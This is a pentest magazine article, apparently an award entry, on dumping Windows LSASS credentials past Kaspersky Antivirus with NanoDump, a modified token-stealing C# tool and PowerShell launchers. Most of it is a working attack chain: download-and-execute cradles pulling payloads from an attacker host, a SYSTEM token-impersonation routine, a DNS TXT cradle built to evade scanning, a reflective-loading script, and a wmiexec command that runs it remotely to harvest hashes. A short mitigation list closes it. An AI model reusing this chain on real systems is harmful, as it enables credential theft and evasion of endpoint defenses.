
Pentest Award
This material took first place at the Pentest Award 2024 contest held annually by Awillix in the “One Bypass, Two Bypasses” category.
NanoDump has already gained widespread appreciation among AV/EDR vendors, which resulted in the creation of multiple detectors for it. Therefore, now I can safely share my experience related to the usage of this utility in the course of internal pentesting audits.
warning
This article is intended for security specialists operating under a contract; all information provided in it is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.
Introduction
In the old days, the trees were greener, and antivirus solutions weren’t so cruel to ordinary hackers pentesters. At that time (some five years ago), an interesting tool called SafetyKatz was created as part of the GhostPack collection, and its author, @harmj0y, breathed new life into the well-known Mimikatz (that was easily detected by security tools if used alone).

SafetyKatz decomposes the extraction of authentication data from LSASS into two stages: (1) dumping memory using the dbghelp.
API handle; and (2) parsing the obtained dump file using modified (with reduced functionality) Mimikatz. The latter one is loaded to memory using the PE Reflection technique and executes the hardcoded commands sekurlsa::
and sekurlsa::
in relation to the previously created memory dump. When the utility completes its work, the created artifacts (e.g. the minidump
file saved at C:\
) are deleted from the victim’s file system.

At some point, this approach made it possible to reduce the number of detections of ‘live’ usage of sekurlsa::
, reduce the time required to extract hashes and keys (by eliminating the need to download large memory dumps to the attacker’s host), and conceal the Mimikatz signature from static analysis. For a long time, my team was using approximately the same approach; the only difference was that I used the new-fashioned NanoDump from memory to create a memory snapshot and a C# library to parse it locally.
This article explains how to create your own ‘SafetyNDump’ for fun ~~ and profit~~, but first, let’s examine the auxiliary tools.
info
I am not going to discuss current AV/EDR bypass techniques used in LSASS dumping. The purpose of this publication was to share my experience with fellow pentesters: you will learn how to abuse one of the loopholes that makes it possible to evade Kaspersky Antivirus. FYI: by now, this attack vector has been closed.
System.Reflection.Assembly. The King is Dead — Long Live the King!
I really like PowerShell and its functionality in the offensive security context. If the combination AppLocker + Constrained Language Mode isn’t enabled in the target infrastructure, the usability of this Windows automation tool in regular pentesting audits is a godsend for a simulated attacker. In cybersecurity exercises requiring covert command execution, it can be adapted to attacker’s needs by patching ETW, calling the System.
runspace (I’m looking at you, PowerShx), and performing other tricks.
My goal was to execute precrafted C# code using the System.
mechanism, which can further simplify lives of ethical hackers connecting to network nodes via the WinRM (Windows Remote Management) service or, for example, using exec.
scripts from Impacket.
There are plenty of materials on the Internet explaining how to execute C# code using PowerShell, but, as usual, I needed automation… Therefore, I wrote a simple Python utility called bin2pwsh that can convert binaries compiled in C# into PowerShell launchers.

The utility performs the following operations:
- Automatically creates PowerShell launchers from compiled C# executables based on predefined templates (the classic one or using Emit primitives). Bytes of the executables are compressed with zlib and wrapped in Base64 for embedding into .ps1 scripts;
- The cool Donut tool can be used if you need to execute unmanaged code from PowerShell to make system calls: either direct ones (Donut fork by @s4ntiago_p for Linux) or indirect ones (closed Donut fork by @KlezVirus and Porchetta Industries for Windows with on-the-fly rehashing). The unmanaged code is executed thanks to preliminary cross-compilation on Linux (with Mono) or regular compilation on Windows (with csc.exe) of a C# self-injector based on templates by @bohops (Unmanaged Code Execution with .NET Dynamic PInvoke) and @dr4k0nia (HInvoke and avoiding PInvoke). They work without static P/Invoke imports for WinAPI calls; and
- Implements simple AV evasion techniques: AMSI and ETW patching, RC4 payload encryption using built-in Windows mechanisms, and static string obfuscation.
Let’s examine some usage examples.
Example 1 (a basic one)
This is Rubeus wrapped in a PowerShell launcher on the basis of the standard System.
template.
curl -sSL https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_Any/Rubeus.exe -o Rubeus.exe
bin2pwsh.py Rubeus.exe

IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-Rubeus.ps1")Invoke-Rubeus hash /domain:nightcity.net /user:snovvcrash /password:Passw0rd!

Example 2 (an advanced one)
Now let’s examine Rubeus wrapped in a PowerShell launcher in a more advanced way on the basis of the System.
template and its execution by running a shellcode self-injector created on the basis of the Donut fork by KlezVirus with dynamic rehashing of indirect system calls (for more detail, see the video on YouTube). In most cases, this method is used with native code, but no one prohibits you from packing managed code this way.
curl -sSL https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_Any/Rubeus.exe -o Rubeus.exepy .\bin2pwsh.py 'Rubeus.exe hash /domain:nightcity.net /user:snovvcrash /password:Passw0rd!' -d -wh C:\Tools\SysWhispers3\syswhispers.py -whm jumper_randomized --emit --debug --silent

IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-RubeusInject.ps1")Invoke-RubeusInject

Example 3 (DIY: PowerSharpPack)
And finally, let’s create an analogue of the PowerSharpPack repository (by @ShitSecure) from SharpCollection (by @Flangvik); it will take just a few seconds.
git clone https://github.com/Flangvik/SharpCollection
cd SharpCollection/NetFramework_4.0_Any
for exe in ./*.exe; do bin2pwsh.py $exe --silent; done

IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-Seatbelt.ps1")Invoke-Seatbelt -group=system

Done with auxiliary tools; now let’s get back to the problem. I suggest to stick to the SafetyKatz decomposition narrative and examine the dumping and dump parsing processes in sequence.
SafetyNDump: dumping LSASS bypassing AV
First of all, you have to dump lsass.
memory. Importantly, this must be done in the presence of active antivirus tools.
Impersonating SYSTEM from noninteractive console
When I was testing NanoDump on a PC with Kaspersky Antivirus, the -eh
/--elevate-handle
option (taken from this presentation) turned out to be effective. The main idea was to open a handle to the target process with PROCESS_QUERY_LIMITED_INFORMATION
privileges and then elevate them to the required level using ntdll.
!NtDuplicateObject
. As you might know, one of the ways to block access to LSASS is to make it impossible to get a privileged handle to lsass.
, and the above-described trick allows to circumvent this restriction.
The problem with the -eh
option is that you have to run NanoDump with NT
privileges, which brings additional difficulties. Should you try to drop PsExec on the target host? Or create an immediate privileged scheduler task? Or, perhaps, substitute service binaries? All these options are time consuming, tedious, and noisy.
I decided to use the Token Impersonation technique (MITRE ATT&CK T1134.001) and modify the tokenduplicator utility (I often use it as a fileless alternative to PsExec). First, let’s see how it operates in its original form. I am going to clone the repository, build a release, and transform it into a PowerShell launcher using bin2pwsh.
git clone https://github.com/magnusstubman/tokenduplicator
cd .\tokenduplicator
devenv /build Release .\tokenduplicator.sln
cd .\tokenduplicator\bin\Release
py .\bin2pwsh.py .\tokenduplicator.exe

Then I load it into memory and steal the token from winlogon.
to start the shell with system privileges.
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-tokenduplicator.ps1")Invoke-tokenduplicator winlogon cmd

Everything looks great, but there is a catch: to make it work, an interactive shell is required.

As far as I remember from the OSEP course, to run CreateProcessWithTokenW from a noninteractive session, you have to adjust default values of the environment parameters dwLogonFlags
, dwCreationFlags
, lpEnvironment
, and lpCurrentDirectory
in tokenduplicator. Without these options, the started process immediately crashes since the SYSTEM
account (the one you impersonate) doesn’t have a correctly defined login session.

I removed the unnecessary information output, and my TokenDuplicator.
looks as shown below:
public static void Main(){ Process[] processes = Process.GetProcessesByName("winlogon"); IntPtr hProcess = processes[0].Handle; OpenProcessToken( hProcess,
0x0002, // TOKEN_DUPLICATE
out IntPtr hToken); DuplicateTokenEx( hToken,
0xF01FF, // TOKEN_ALL_ACCESS
IntPtr.Zero,
2, // SecurityImpersonation
1, // TokenPrimary
out IntPtr hDupToken); CreateEnvironmentBlock(out IntPtr lpEnvironment, hToken, false); STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = @"WinSta0\Default"; StringBuilder sbSystemDir = new StringBuilder(256); GetSystemDirectory(sbSystemDir, 256); CreateProcessWithTokenW( hDupToken,
1, // LOGON_WITH_PROFILE
null,
"powershell iex(new-object net.webclient).downloadstring(""""http://10.10.13.37/cradle.ps1"""")",
0x400, // CREATE_UNICODE_ENVIRONMENT
lpEnvironment,
sbSystemDir.ToString(),
ref si,
out PROCESS_INFORMATION _);}
Now when you run Invoke-TokenDuplicator
from Evil-WinRM, the PowerShell command is successfully executed, and interpreter pop-up window isn’t displayed to the logged-in user. Yes, you don’t capture the output of the executed command, but it’s not actually required.

SafetyNDump.Net.WebClient or Resolve-DnsName?
To fit into the 1024 characters allocated for the lpCommandLine
argument of the CreateProcessWithTokenW
function, you have to use a boot cradle to extract and execute an external PowerShell script containing NanoDump (transformed into a launcher using bin2pwsh and Donut).
However, antivirus solutions can interfere in such a situation since they don’t tolerate when something like IEX (IWR
) is passed as a string to sections of the code where processes are spawned (e.g. objects of the Win32_Process
class are created using WMI, or scheduler tasks are started, or interaction with Windows API occurs).
But the old trick with resolving a TXT record of the controlled domain name and its subsequent piping to Invoke-Expression
comes to the rescue. This step makes it possible to evade analysis of string artifacts that appear when ‘something unknown’ is loaded and executed (needless to say that such analysis would inevitably trigger the AV). Experiments involving the start of PowerShell via wmiexec.
showed that this trick can successfully fool my favorite antivirus.
Overall, the idea is clear: you go to your domain settings and adjust them as shown below.

After that, you can pass the URL to the payload to IEX:
$url="http://10.10.13.37/payload.txt"IEX(Resolve-DnsName "cradle.contoso.com" 16).Strings[0]

With this trick, the code that spawns a new process with a cradle looks as follows:
CreateProcessWithTokenW( hDupToken, 1, // LOGON_WITH_PROFILE null, $"powershell $url=""""{args[0]}"""";IEX(Resolve-DnsName """"cradle.contoso.com"""" 16).Strings[0]", 0x400, // CREATE_UNICODE_ENVIRONMENT lpEnvironment, sbSystemDir.ToString(), ref si, out PROCESS_INFORMATION _);
Now all you have to do to complete the first stage (LSASS dumping) is build a PowerShell launcher for NanoDump and make sure that everything works properly.
curl -sSL https://github.com/helpsystems/nanodump/raw/main/dist/nanodump.x64.exe -o nanodump.exe
bin2pwsh.py 'nanodump.exe -w C:\Windows\Temp\debug.bin -eh' --donut --debug# Extract contents of the function body to a raw script to be executed immediately after IEXvim Invoke-nanodumpInject.ps1
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-TokenDuplicator.ps1")Invoke-TokenDuplicator http://10.10.13.37/Invoke-nanodumpInject.ps1Get-Item C:\Windows\Temp\debug.bin

Time to move on to the second stage: on-site parsing of the created dump file.
Writing SafetyNDump
Parsing MiniDump
In my humble opinion, the main problem that contributed to the creation of SafetyKatz was the lack of flexible open-source software (e.g. written in C#) making it possible to parse the MiniDump format. This feature could be added to the code more elegantly. As a result, all these tricks where reflected PE is loaded to memory were used. However, time marches on; both offensive software and antivirus solutions continuously evolve; and now you can parse LSASS from memory in a more elegant way. For example, using MiniDump by @cube0x0.
To use this utility (that rather resembles a library), let’s hardcode the input arguments and obfuscate the strings with InvisibilityCloak. If you don’t do this, a process memory scan would notice that your code is similar to Mimikatz and raise the alarm. Initially, I also corrected the MiniDump signature prior to reading it (NanoDump deliberately breaks it to avoid generating IOCs when the file is saved to disk), but, in fact, this wasn’t necessary.

py .\InvisibilityCloak.py -d .\MiniDump -n (-join ((65..90) + (97..122) | Get-Random -Count 16 | % )) -m reverse

Then I compile the binary and… use bin2pwsh again to convert it into a PowerShell script.

Let’s check whether all components work properly and proceed to the final step: putting everything together in the form of a PowerShell script.

Putting results together
For clarity and simplicity, I just provide the final code with required comments:
function Invoke-Stage{ # If 1, then stage 1: elevating privileges to system + dumping if ($args[0] -eq "1") { $b64 = "<TOKENDUPLICATOR_BYTES_COMPRESSED_BASE64>" $namespace = "TokenDuplicator" $assemblyArgs = (, [string[]]$args[1..($args.Count)]) } # Otherwise (if 2), then stage 2: parsing the dump file created during stage 1 else { $b64 = "<MINIDUMP_BYTES_COMPRESSED_BASE64>" $namespace = "wUFgAhfzjrXKDRGY" $assemblyArgs = $null } # Reverse transformation: Base64 -> unpacking -> byte array $a = New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String($b64)) $b = New-Object System.IO.Compression.DeflateStream($a, [System.IO.Compression.CompressionMode]::Decompress) $c = New-Object System.IO.MemoryStream; $b.CopyTo($c) [byte[]]$d = $c.ToArray() # If phase 2, then C# assembly output is required # (redirect standard output handles to strings) # Otherwise (if phase 1), output isn’t required -> skip if ($args[0] -eq "2") { $e = [System.Console]::Out $f = [System.Console]::Error $g = New-Object System.IO.StringWriter $h = New-Object System.IO.StringWriter [System.Console]::SetOut($g) [System.Console]::SetError($h) } # Reflectively load C# assembly to memory, search for the entry point in it by namespace, class, and method names, and Invoke it with arguments $i = [System.Reflection.Assembly]::Load($d) $j = [Reflection.BindingFlags]"Public,NonPublic,Static" $k = $i.GetType("${namespace}.Program", $j) $l = $k.GetMethod("Main", $j) $l.Invoke($null, $assemblyArgs) # If phase 2, then C# assembly output is required # (restore standard handles and output the result from strings to the screen) # Otherwise (if phase 1), output isn’t required -> skip if ($args[0] -eq "2") { [System.Console]::SetError($f) [System.Console]::SetOut($e) $m = "" $m += $g.ToString() $m += $h.ToString() $m }}function Invoke-SafetyNDump{ # Phase 1: TokenDuplicator + NanoDump --elevate-handle # Additionally, pass to the input the Invoke-nanodumpInject.ps1 download URL Invoke-Stage 1 $args[0]; Sleep 10 # Phase 2: MiniDump Invoke-Stage 2; rm C:\Windows\Temp\debug.bin}
Finally, let’s replace stubs with Base64 byte strings TokenDuplicator
and MiniDump
— and everything is ready for the final test! At the present time, the above-described method won’t work on Kaspersky Antivirus; accordingly, there’s no point in demonstrating the result on it. Instead, I will try to reproduce my actions performed during real-life pentesting audits using a demo stand.
~ wmiexec.py -silentcommand -nooutput megacorp.local/snovvcrash:’Passw0rd!’@PC01.megacorp.local ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe url=””””http://10.10.13.37/Invoke-SafetyNDump.ps1″”””;iex(resolve-dnsname “”””cradle.contoso.com”””” 16).strings[0];Invoke-SafetyNDump http://10.10.13.37/payload.txt’

The following actions were performed:
- Checked that the resulting files don’t exist on the victim host (see step 2 to find out where
lol.
comes from);txt - Called
Invoke-SafetyNDump.
usingps1 wmiexec.
without requesting command output (flagspy -silentcommand
). For the sake of demonstration, to redirect the output of-nooutput Invoke-SafetyNDump
, I changed its start as follows:Invoke-Stage
. The2 > C:\ Windows\ Temp\ lol. txt payload.
file contains the NanoDump PowerShell launcher; andtxt - Demonstrated that NanoDump has successfully done its job by reading the results from the file
C:\
. As a result, the much-desired hashes were gained.Windows\ Temp\ lol. txt
This is how you can craft advanced ‘malware’ (of course, for the purposes of ethical hacking!) using open-source software and a few lines of PowerShell code.
Protection
Instead of drawing conclusions, I am going to provide a list of recommendations that can help you to mitigate potential abuses of PowerShell capabilities by cybercriminals. It’s assumed that you are dealing with a corporate Active Directory environment and your primary objective is to secure terminal servers and user workstations.
- Enable the Constrained Language mode to block potentially dangerous PowerShell functions (e.g. the
Invoke-Expression
cmdlet); - Disable the possibility to create COM and .NET objects, add custom data types using the
Add-Type
cmdlet, and other features widely used in malware; - Configure script execution security rules using the AppLocker tool or the SRP (Software Restriction Policies) mechanism to prohibit the use of third-party PowerShell scripts;
- Disable the insecure PowerShell 2.0 engine (that doesn’t support the AMSI protection mechanism) and disable the PowerShell ISE development environment; and
- Introduce Windows Defender Application Control (WDAC) security policies to control the start of executable files in accordance with the employee workflow specifics.
Good luck to you and have fun during pentesting audits!

2022.06.01 — Quarrel on the heap. Heap exploitation on a vulnerable SOAP server in Linux
This paper discusses a challenging CTF-like task. Your goal is to get remote code execution on a SOAP server. All exploitation primitives are involved with…
Full article →
2022.06.03 — Vulnerable Java. Hacking Java bytecode encryption
Java code is not as simple as it seems. At first glance, hacking a Java app looks like an easy task due to a large number of available…
Full article →
2023.02.21 — Pivoting District: GRE Pivoting over network equipment
Too bad, security admins often don't pay due attention to network equipment, which enables malefactors to hack such devices and gain control over them. What…
Full article →
2022.04.04 — Elephants and their vulnerabilities. Most epic CVEs in PostgreSQL
Once a quarter, PostgreSQL publishes minor releases containing vulnerabilities. Sometimes, such bugs make it possible to make an unprivileged user a local king superuser. To fix them,…
Full article →
2023.04.04 — Serpent pyramid. Run malware from the EDR blind spots!
In this article, I'll show how to modify a standalone Python interpreter so that you can load malicious dependencies directly into memory using the Pyramid…
Full article →
2022.06.02 — Climb the heap! Exploiting heap allocation problems
Some vulnerabilities originate from errors in the management of memory allocated on a heap. Exploitation of such weak spots is more complicated compared to 'regular' stack overflow; so,…
Full article →
2022.06.01 — F#ck AMSI! How to bypass Antimalware Scan Interface and infect Windows
Is the phrase "This script contains malicious content and has been blocked by your antivirus software" familiar to you? It's generated by Antimalware Scan Interface…
Full article →
2022.02.15 — EVE-NG: Building a cyberpolygon for hacking experiments
Virtualization tools are required in many situations: testing of security utilities, personnel training in attack scenarios or network infrastructure protection, etc. Some admins reinvent the wheel by…
Full article →
2022.06.01 — Cybercrime story. Analyzing Plaso timelines with Timesketch
When you investigate an incident, it's critical to establish the exact time of the attack and method used to compromise the system. This enables you to track the entire chain of operations…
Full article →
2022.06.03 — Challenge the Keemaker! How to bypass antiviruses and inject shellcode into KeePass memory
Recently, I was involved with a challenging pentesting project. Using the KeeThief utility from GhostPack, I tried to extract the master password for the open-source KeePass database…
Full article →